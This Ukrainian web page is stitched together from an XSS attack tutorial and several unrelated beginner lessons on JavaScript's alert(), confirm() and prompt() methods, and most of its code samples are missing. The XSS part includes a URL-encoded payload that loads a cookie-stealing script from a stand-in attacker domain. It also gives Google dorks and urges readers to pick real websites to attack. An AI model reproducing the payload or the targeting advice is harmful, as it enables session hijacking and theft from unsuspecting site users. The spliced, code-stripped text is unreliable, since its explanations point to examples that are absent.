Міжсайтовий скриптинг (XSS) - це вразливість, яка полягає у впровадженні коду, який виконується на стороні клієнта (JavaScript) у веб-сторінку, яку переглядають інші користувачі.
Вразливість виникає через недостатню фільтрацію даних, які користувач надсилає для вставки на веб-сторінку. Набагато простіше зрозуміти на конкретному прикладі. Згадайте будь-яку гостьову книгу – це програми, які призначені для прийняття даних від користувача та подальшого їх відображення. Уявімо, що гостьова книга ніяк не перевіряє і не фільтрує дані, що вводяться, а просто їх відображає.
Можна накидати свій найпростіший скрипт (немає нічого простіше, ніж писати погані скрипти на PHP - цим дуже багато хто займається). Але вже достатньо готових варіантів. Наприклад, я пропоную почати знайомство з Dojo та OWASP Mutillidae II. Там є схожий приклад. В автономному середовищі Dojo перейдіть у браузері за посиланням: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Якщо хтось із користувачів ввів:
То веб-сторінка відобразить:
Вітаю! Подобається твій веб-сайт.
Якщо користувач введе так:
Вітаю! Подобається твій веб-сайт.
То це відобразиться так:
Браузери зберігають безліч кукіз великої кількості сайтів. Кожен сайт може отримати кукіз тільки збережені ним самим. Наприклад, сайт example.com зберіг у вашому браузері деякі кукізи. Ви заши на сайт another.com, цей сайт (клієнтські та серверні скрипти) не можуть отримати доступ до кукізів, які зберіг сайт example.com.
Якщо сайт example.com вразливий до XSS, це означає, що ми можемо тим чи іншим способом впровадити в нього код JavaScript, і цей код буде виконуватися від імені сайту example.com! Тобто. цей код отримає, наприклад, доступ до кукіз сайту example.com.
Думаю, всі пам'ятають, що виконується JavaScript у браузерах користувачів, тобто. за наявності XSS, впроваджений шкідливий код отримує доступ до даних користувача, який відкрив сторінку веб-сайту.
Впроваджений код вміє все те, що вміє JavaScript, а саме:
- отримує доступ до кукіз сайту, що переглядається
- може вносити будь-які зміни до зовнішнього вигляду сторінки
- отримує доступ до буфера обміну
- може впроваджувати програми на JavaScript, наприклад, кі-логери (перехоплювачі натиснутих клавіш)
- підчіпляти на BeEF
- та ін.
Найпростіший приклад з кукіз:
Насправді, alertвикористовується лише для виявлення XSS. Реальне шкідливе корисне навантаження здійснює приховані дії. Вона приховано зв'язується з віддаленим сервером зловмисника та передає на нього вкрадені дані.
Види XSS
Найголовніше, що потрібно розуміти про види XSS те, що вони бувають:
- Зберігані (постійні)
- Відображені (Непостійні)
Приклад постійних:
- Введене зловмисником спеціально сформоване повідомлення у гостьову книгу (коментар, повідомлення форуму, профіль), яке зберігається на сервері, завантажується з сервера щоразу, коли користувачі запитують відображення цієї сторінки.
- Зловмисник отримав доступ до даних сервера, наприклад, через SQL ін'єкцію, і впровадив у дані, що видаються користувачеві, дані зловмисний JavaScript код (з кілогерами або з BeEF).
Приклад непостійних:
- На сайті є пошук, який разом з результатами пошуку показує щось на кшталт «Ви шукали: [рядок пошуку]», при цьому дані не фільтруються належним чином. Оскільки така сторінка відображається тільки для того, хто має посилання на неї, то поки зловмисник не надішле посилання іншим користувачам сайту, атака не спрацює. Замість надсилання посилання на жертву, можна використовувати розміщення зловмисного скрипту на нейтральному сайті, який відвідує жертва.
Ще виділяють (деякі як різновиду непостійних XSS вразливостей, деякі кажуть, що цей вид може бути різновидом постійної XSS):
- DOM-моделі
Особливості XSS заснованих на DOM
Якщо сказати дуже просто, то зловмисний код «звичайних» непостійних XSS ми можемо побачити, якщо відкриємо HTML-код. Наприклад, посилання сформоване таким чином:
Http://example.com/search.php?q="/>
А при відкритті вихідного HTML коду ми бачимо щось на зразок такого:
А DOM XSS змінюють DOM структуру, яка формується в браузері на льоту і побачити зловмисний код ми можемо тільки при перегляді структури, що сформувалася DOM. HTML у своїй не змінюється. Давайте візьмемо для прикладу такий код:
То в браузері ми побачимо:
Вихідний код сторінки:
Давайте сформуємо адресу так:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;
Тепер сторінка виглядає так:
Але давайте заглянемо у вихідний код HTML:
Там нічого не змінилося. Про це я й казав, нам потрібно дивитися DOM структуру документа, щоб виявити зловмисний код:
Тут наведено робочий прототип XSS, для реальної атаки нам потрібне складніше корисне навантаження, яке неможливе через те, що програма зупиняє читання відразу після точки з комою, і щось на зразок alert(1);alert(2)вже неможливо. Тим не менш, завдяки unescape()у даних, що повертаються ми можемо використовувати корисне навантаження на кшталт такий:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;
Де ми замінили символ ; на кодований в URI еквівалент!
Тепер ми можемо написати шкідливе корисне навантаження JavaScript і скласти посилання для відправки жертві, як це робиться для стандартного непостійного міжсайтового скриптингу.
XSS Auditor
У Google Chrome (а також в Opera, яка тепер використовує двигун Google Chrome), мене чекав такий сюрприз:
dom_xss.html:30 The XSS Auditor refused to execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" because його джерело коду було затверджено. Веб-сервер був захищений як сервер, який використовується в "X-XSS-Protection" або "Content-Security-Policy" header.
Тобто. тепер у браузері є XSS аудитор, який намагатиметься запобігати XSS. У Firefox ще немає такої функціональності, але, гадаю, це справа часу. Якщо реалізація в браузерах буде вдалою, то можна говорити про значну скруту застосування XSS.
Корисно пам'ятати, що сучасні браузери роблять кроки з обмеження рівня експлуатації проблем типу непостійних XSS і заснованих на DOM XSS. У тому числі це потрібно пам'ятати при тестуванні веб-сайтів за допомогою браузера - цілком може виявитися, що веб-додаток вразливий, але ви не бачите підтвердження, що спливає, тільки з тієї причини, що його блокує браузер.
Приклади експлуатації XSS
Зловмисники, які мають намір використовувати вразливості міжсайтового скриптингу, повинні підходити до кожного класу вразливостей по-різному. Тут описані вектори атак кожного класу.
При вразливості XSS в атаках можна використовувати BeEF, який розширює атаку з веб-сайту на локальне оточення користувачів.
Приклад атаки з непостійним XSS
1. Аліса часто відвідує певний сайт, який хостить Боб. Веб-сайт Боба дозволяє Алісі здійснювати вхід з ім'ям користувача/паролем та зберігати чутливі дані, такі як платіжна інформація. Коли користувач здійснює вхід, браузер зберігає куки авторизації, які мають безглузді символи, тобто. обидва комп'ютери (клієнт та сервер) пам'ятають, що вона увійшла.
2. Мелорі зазначає, що веб-сайт Боба містить непостійну XSS вразливість:
2.1 При відвідуванні сторінки пошуку, вона вводимо рядок для пошуку і натискає кнопку відправити, якщо результати не знайдені, сторінка відображає введений рядок пошуку, за яким слідують слова «не знайдено» і url має вигляд http://bobssite.org?q=її пошуковий запит
2.2 З нормальним пошуковим запитом на кшталт слова « собачки» сторінка просто відображає « собачкине знайдено» та url http://bobssite.org?q= собачки, що цілком нормальним поведінкою.
2.3 Проте, коли в пошук надсилається аномальний пошуковий запит на кшталт :
2.3.1 З'являється повідомлення із попередженням (що каже "xss").
2.3.2 Сторінка відображає не знайденопоряд із повідомленням про помилку з текстом "xss".
2.3.3 url, придатний для експлуатації http://bobssite.org?q=
3. Мелорі конструює URL для експлуатації вразливості:
3.1 Вона робить URL http://bobssite.org?q=puppies . Вона може вибрати конвертувати ASCII символи в шістнадцятковий формат, такий як http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3Eдля того, щоб люди не змогли негайно розшифрувати шкідливу URL-адресу.
3.2 Вона надсилає e-mail деяким членам сайту Боба, який нічого не підозрює, кажучи: «Зацініть кльових собачок».
4. Аліса отримує листа. Вона любить собачок і кликає за посиланням. Вона переходить на сайт Боба в пошук, вона не знаходить нічого, там відображається "собачки не знайдено", а в самій середині запускається тег зі скриптом (він невидимий на екрані), завантажує та виконує програму Мелорі authstealer.js (спрацьовування XSS атаки). Аліса забуває про це.
5. Програма authstealer.js запускається в браузері Аліси так, ніби її джерелом є сайт Боба. Вона захоплює копію кукі авторизації Аліси і відправляє на сервер Мелорі, де Мелорі їх витягує.
7. Тепер, коли Мелорі всередині, вона йде в платіжний розділ веб-сайту, дивиться та краде копію номера кредитної картки Аліси. Потім вона йде змінює пароль, тобто. тепер Аліса навіть більше не може зайти.
8. Вона вирішує зробити наступний крок і відправляє сконструйоване подібним чином посилання на самого Боба, і таким чином отримує адміністративні привілеї сайту Боба.
Атака з постійним XSS
- Мелорі має обліковий запис на сайті Боба.
- Мелорі зауважує, що веб-сайт боба містить постійну XSS вразливість. Якщо ви переходите в новий розділ, розміщуєте коментар, то він відображає що б не надрукували. Але якщо текст коментаря містить HTML-теги, ці теги будуть відображені як є, і будь-які теги скриптів запускаються.
- Мелорі читає статтю у розділі Новини та пише коментар у розділі Коментарі. У коментарі вона вставляє текст:
- У цій історії мені так сподобалися собачки. Вони такі славні!
- Коли Аліса (або ще хтось) завантажують сторінку з цим коментарем, тег скрипта Мелорі запускається і краде куки авторизації Аліси, відправляє на секретний сервер Мелорі для збору.
- Мелорі тепер може перехопити сесію Аліси та видати себе за Алісу.
Пошук сайтів вразливих до XSS
Дорки для XSS
Першим кроком є вибір сайтів, на яких ми виконуватимемо XSS атаки. Сайти можна шукати за допомогою дорків Google. Ось кілька таких дорків, які скопіюйте і вставте в пошук Гугла:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
Перед нами з'явиться список сайтів. Потрібно відкрити сайт і знайти на ньому поля введення, такі як форма зворотного зв'язку, форма введення, пошук сайту і т.д.
Відразу зауважу, що практично марно шукати вразливості в популярних веб-додатках, що автоматично оновлюються. Класичний приклад такої програми - WordPress. Насправді, вразливості у WordPress, а особливо в його плагінах, є. Більше того, є безліч сайтів, які не оновлюють ні двигун WordPress (через те, що веб-майстер вніс у вихідний код якісь свої зміни), ні плагіни та теми (як правило, це піратські плагіни та теми). Але якщо ви читаєте цей розділ і дізнаєтеся з нього щось нове, значить WordPress поки не для вас ... До нього обов'язково повернемося пізніше.
Найкращі цілі - це різноманітні самописні движки та скрипти.
Як корисне навантаження для вставки можна вибрати
Звертайте увагу, в які теги HTML коду потрапляє ваш впроваджений код. Ось приклад типового поля введення ( input):
Наше корисне навантаження потрапить туди, де зараз слово «наволочка». Тобто. перетворитися на значення тега input. Ми можемо цього уникнути - закриємо подвійну лапку, а потім і сам тег за допомогою "/>
"/>
Давайте спробуємо її для якогось сайту:
Добре, вразливість є
Програми для пошуку та сканування XSS вразливості
Напевно, всі сканери веб-застосунків мають вбудований сканер XSS вразливостей. Ця тема є неосяжною, краще знайомитися з кожним подібним сканером окремо.
Існують також спеціалізовані інструменти для сканування на XSS вразливості. У тому числі особливо можна назвати.
- методи об'єкта window;
- метод alert(): коротке резюме;
- метод confirm() – пишіть листи;
- метод prompt() - давайте знайомитися, я Штірліц.
Отже, об'єкти браузера. І насамперед - найстарший з них, об'єкт window.
Ось основні методи об'єкту window(крім них є й інші, але вони маловживані, і щоб не захаращувати мозок зайвою інформацією, я відкладу їх до третьої серії).
Метод |
Опис |
Відкриті та закриття вікна браузера; є можливість визначати розмір вікна, його вміст, а також наявність панелі кнопки, поля адреси та інших атрибутів. |
|
Поява вікна сигнального діалогу із відповідним повідомленням. |
|
Поява вікна діалогу підтвердження з кнопками "ОК" та "Cancel". |
|
Поява діалогового вікна підказки з полем текстового введення. |
|
Налаштування або видалення фокусу для вікна. |
|
Прокручування вмісту вікна до певної точки. |
|
Встановлення часового інтервалу між функціональним викликом та обчисленням виразу. |
|
Встановлення одноразового інтервалу часу до функціонального виклику або обчислення виразу. |
Ми вже знаємо, що windowчасто мається на увазі, але не пишеться.
Виклик різних вікон діалогу
Вікна діалогу застосовуються у програмах взаємодії з користувачем.
Метод alert()
Його ми розбирали на початку наших занять. Він створює найпростіше діалогове вікно з повідомленням та кнопкою ОК. Вся його взаємодія обмежується тим, що користувач, натиснувши цю єдину кнопку, може послати це вікно кудись подалі (і на тому спасибі).
Метод confirm()
Метод confirm()вже дає можливість користувачеві прийняти найпростіше «бульове» рішення: сказати «так» чи «ні».
Ось, наприклад, натисніть цю кнопку:
Вибачте за невеликий розіграш. Сподіваюся, Ви вмієте скористатися кнопкою «назад».
Як це все влаштовано? Ви, звичайно, побачили, що я цей метод скомбінований з алертами. І зроблено це за допомогою функції, яка вставлена в .
Метод повертає два значення: true(якщо ОК) та false(якщо скасування).
В trueми відправляємо його на відповідну сторінку (властивість hrefоб'єкта location) і виводимо відповідний alert(). Інакше (тобто false) просто виводимо інший alert().
А в кнопочці викликаємо функцію у події onClick:
А потім потрібно викликати цю функцію з обробника події onSubmitтега , наприклад:
Ось тут, наприклад, Ви можете написати мені на мило все, що думаєте про мої уроки. Якщо раптом погарячки і натиснули кнопку, а потім незручно якось стало, вискочить вікно діалогу і протверезить Вас.
Якщо Ви робите спливаючі вікна, то добрим тоном є попереджати про це користувача та давати йому вибір – відкривати вікно або не відкривати. Для цього перед завантаженням вікна треба випустити «парламентарів» - діалог confirm(). Тут функція викликається з . Про це ми дуже скоро поговоримо, коли перейдемо до створення вікон методом open().
Метод prompt()
Цей метод вже запитує користувача конкретні дані. З'являється діалогове вікно з полем введення. Метод повертає дані, які користувач ввів у поле, і дозволяє програмі працювати з цими даними.
У методу prompt()два аргументи: питання (що з'являється над полем введення) та відповідь (текст у полі введення):
Якщо хочете, щоб поле введення з'явилося чистим, поставте другим аргументом порожні лапки:
prompt("текст питання","") |
Давайте подивимося на це. Натисніть кнопку, не бійтеся.
Отже, Ви ввели (або не ввели) дані та отримали від комп'ютера відповідь, що спирається на ці дані (або їх відсутність).
Ось простий варіант цієї функції:
Властивість innerHTML, що дозволяє контролювати вміст тега, зустрічалося нам у 10 уроці, коли ми програмували назви під картинками.
А ось код кнопки та порожнього абзацу для вітання.
|
Але якщо Ви виявились моїм тезкою, то побачили, що функція зреагувала і на це.
Як це зробити в грубому варіанті, можете вже здогадатися самі. Потрібно перевірити змінну user_nameне тільки на порожні лапки, а й на Андрій", і вкласти ще один ifз відповідним текстом (можете потренуватись самі).
Але якщо Ви наберете " Андрій", "Андрійко", "Андрюшка", "Андрюха", "Андрійка", "Андрій Іванович"І т.п., то результат вийде аналогічний, хоча я і не перебирав явно всі ці значення, а обійшовся тільки п'ятьма рядками:" Андре", "Андрій", "Андрія", "Андрійче"і" Андрійчу(три останні - щоб виключити з тезок Андрєєва, Андрійченка та Андрійчука, зберігши в тезках Андрійчика).
Тобто можна здогадатися, що функція перевіряє змінну user_nameна перші 5, 6 чи 8 символів.
Але про це ми говоритимемо дещо пізніше, коли перейдемо до рядкових об'єктів та їх методів. Просто я хочу, щоб Ви заздалегідь представляли ті завдання, які нам належить вирішувати (зокрема, всілякі розщеплення рядків на підрядки). Тоді й самі рішення видадуться зрозумілішими. Але якщо не терпиться, можете "змалювати" функцію з коду та "розробити під горіх". Для цікавих я написав коментар.
Метод prompt()також можна використовувати для введення пароля.
Це ще не кінець уроку!
Давайте трішки «пограємо у шпигунів», щоб дочитати до кінця цей розділ. Спочатку спробуйте натиснути кнопку і щось ввести.
А-а, ось так! Але дивіться, чи з'явилася ще кнопка! Ну ж бо...
Пароль:
Знову натискаємо першу кнопку та вводимо правильний пароль.
Вся ця гра, мабуть, б'є на ефект, але насправді пароль можна дізнатися, натиснувши праву кнопку і подивившись його в коді. Хтось може наївно подумати, що достатньо помістити код окремий файл.js. Але в коді сторінки буде посилання на цей файл із зазначенням адреси. І якщо набрати його в адресному рядку, то відкриється файл із кодом JavaScript:)
Чи можна код коду зашифрувати? Можна, але цього знову потрібні маніпуляції з рядками разом із застосуванням деяких математичних методів. Коли ми до цього доберемося, то вивчимо і скрипт «справжнього» пароля. Але техніка взаємодії з користувачем буде все та ж: prompt(). (Чи можна «розколоти» зашифрований пароль? На жаль, досконалості хакерів немає межі...)
Так само, як ми «ловили» ім'я або його відсутність, спіймаємо функцією та пароль.
Якщо ввести неправильний пароль або нічого не ввести, рядок
document.getElementById("no").style.display = "block"
відкриє блок із другою кнопкою
А якщо введено правильний пароль, дія передається рядку
document.getElementById("yes").style.display = "block",
яка відкриває наступний блок
Стоп, а що це за крякозубри? Це нехитра шифровочка, скоро поясню.
А поки що даю код цих блоків (для наочності опускаю таблицю з рамками, яка в мене укладена в останній блок):
"no" style= "display: none;" > А-а, ось так! Але дивіться, чи з'явилася ще кнопка! Ну ж бо... "mypassword" style= "display: none;" > Пароль:
Знову натискаємо першу кнопку та вводимо правильний пароль. "yes" style= "display: none;" >
Тепер читаємо далі. . . . . . . . . . . |
Так ось, про шифрування. Вона дуже убога. Будь-який, хто знає функції escape()і unescape(), одразу її зламає.
Функція escape("сюди ввести рядок")перетворює символи на їх шістнадцяткові значення.
Функція unescape("сюди ввести крякозубри")виконує зворотну дію.
Щоб у такий спосіб зашифрувати пароль, потрібно у себе вдома прогнати його через escape(), скопіювати результат і вставити його в unescape(). Але це, повторюю, несерйозно.
Ну і для повного комплекту – функція для другої кнопки:
Для виведення стандартних діалогових вікон JavaScript має лише три методи, які ми сьогодні дізналися. Хоча ці методи трапляється застосовувати не так часто, вміння впевнено з ними поводитися надзвичайно корисно. Вони прості, але при цьому належать, так би мовити, до «чистого» програмування. Вони дуже добре набивати руку в освоєнні мови програмування. І я Вам раджу всіляко поекспериментувати з ними, навіть безцільно з прагматичної точки зору. Хороше програмування - це захоплююча гра, як, втім, будь-яка творчість.
І знову я вітаю Вас у черговій темі присвяченій мові JavaScript, в якій ми розберемо методи alert, prompt, confrim. Дані методи є вбудованими у мову Javascriptта допомагають нам взаємодіяти з користувачем.
Alertвиводить на екран браузера вікно з певною інформацією, яке призупиняє скрипт до моменту натискання кнопки ОК.
Prompt, як правило, виводить вікно, в якому користувачеві ставлять питання, на яке він повинен відповісти у певному текстовому полі, після чого натиснути клавішу ОК. Також користувач може нічого не вводити, натиснувши клавішу скасування.
Confirmтакож виводить вікно, в якому користувач вже не може вводити щось у текстове поле, а може лише натиснути кнопку ОК або скасувати.
А тепер після невеликого вступу перейдемо до розгляду всього сказаного на практиці.
В результаті, при оновленні сторінки браузера у нас з'явиться вікно з привітання користувача. Після натискання кнопки ОК з'явиться наступне вікно, де будуть запитувати ваше ім'я. У цьому методі є два параметри, перший є обов'язковим і відповідає за заголовок, який виводитиметься, у нашому випадку це питання імені користувача. І другий параметр відповідає за значення, яке виводитиметься за замовчуванням у текстовому полі. Якщо Ви введете ваше ім'я та натиснете кнопку ОК, то ваше ім'я поміститися у змінну nameUser. Якщо ви натиснете кнопку скасування, то змінну буде записано null.
І насамкінець вікно, яке запитує у користувача, хоче він покинути наш сайт чи ні. У разі згоди в змінну буде поміщено булеве значення true, і при відмові falseвідповідно. Ось і все, що слід знати про ці методи, до зустрічі в наступних уроках!
На цьому уроці ми познайомимося з методами об'єкта window: alert(), prompt() та confirm().
Метод alert()
Метод alert() призначений для виведення на екран користувача попереджувального діалогового вікна із зазначеним повідомленням та кнопкою "ОК". Воно може використовуватися для того, щоб донести до користувача важливу інформацію.
window.alert(Параметр_1);
Метод alert() має один обов'язковий параметр – це текст повідомлення, яке відображається у діалоговому вікні. Даний метод внаслідок свого виконання нічого не повертає.
Наприклад, виведемо для відвідувача сайту при натисканні на посилання попереджувальне діалогове вікно: Перейти на сайт
Метод confirm()
Метод confirm() об'єкта window призначений для виведення на екран користувача діалогового вікна із зазначеним повідомленням та кнопками "ОК" та "Скасувати". Ви можете використовувати вікно з підтвердженням, щоб запитати користувача про дозвіл на виконання тієї чи іншої дії.var resultConfirm = confirm(Параметр_1);
Даний метод має один параметр – це текст повідомлення, яке буде виведено у діалогове вікно.
Метод confirm() як результат (resultConfirm) свого виконання повертає одне з двох значень:
- true якщо користувач натиснув "ОК";
- false , якщо користувач натиснув "Скасувати" або закрив його.
Наприклад, виведемо в елемент id="resultConfirm" результат натискання користувачем на кнопку "ОК" у діалоговому вікні:
Метод prompt()
Метод prompt() призначений для виведення на екран користувача діалогового вікна з повідомленням, текстовим полем для введення даних та кнопками "ОК" та "Скасувати". Воно призначене для того, щоб запросити дані користувача.
var resultPrompt = prompt(Параметр_1, Параметр_2);
Цей метод має два параметри:
- повідомлення, яке буде відображено у діалоговому вікні. Цей параметр є обов'язковим і містить повідомлення, в якому "говориться", які дані повинен ввести користувач текстове поле;
- другий параметр є необов'язковим і може використовуватися для вказівки початкового значення, яке буде виведено у полі діалогового вікна введення.
Залежно від дій користувача метод prompt() може повертати такі дані:
- текстове значення - якщо в полі введення містяться дані та користувач натиснув "ОК";
- порожній рядок - якщо у полі введення не містяться дані та користувач натиснув "ОК";
- null - якщо користувач натиснув "Скасувати" або закрив це вікно, при цьому не важливо, які дані були введені в текстове поле.
Примітка: діалогове вікно, яке з'являється в результаті виконання одного з методів alert() , confirm() або prompt() модальне, тобто. воно блокує доступ користувача до батьківського додатку (браузеру) доти, доки користувач не закриє це діалогове вікно.
Наприклад, запитаємо у користувача ім'я і виведемо залежно від результату текст елемент c id="nameUser" :
Наприклад, попросимо користувача вгадати число 8:
... Вгадай число
Сподобалось?
Натисніть кнопку, якщо стаття Вам сподобалася, це допоможе нам розвивати проект. Спасибі!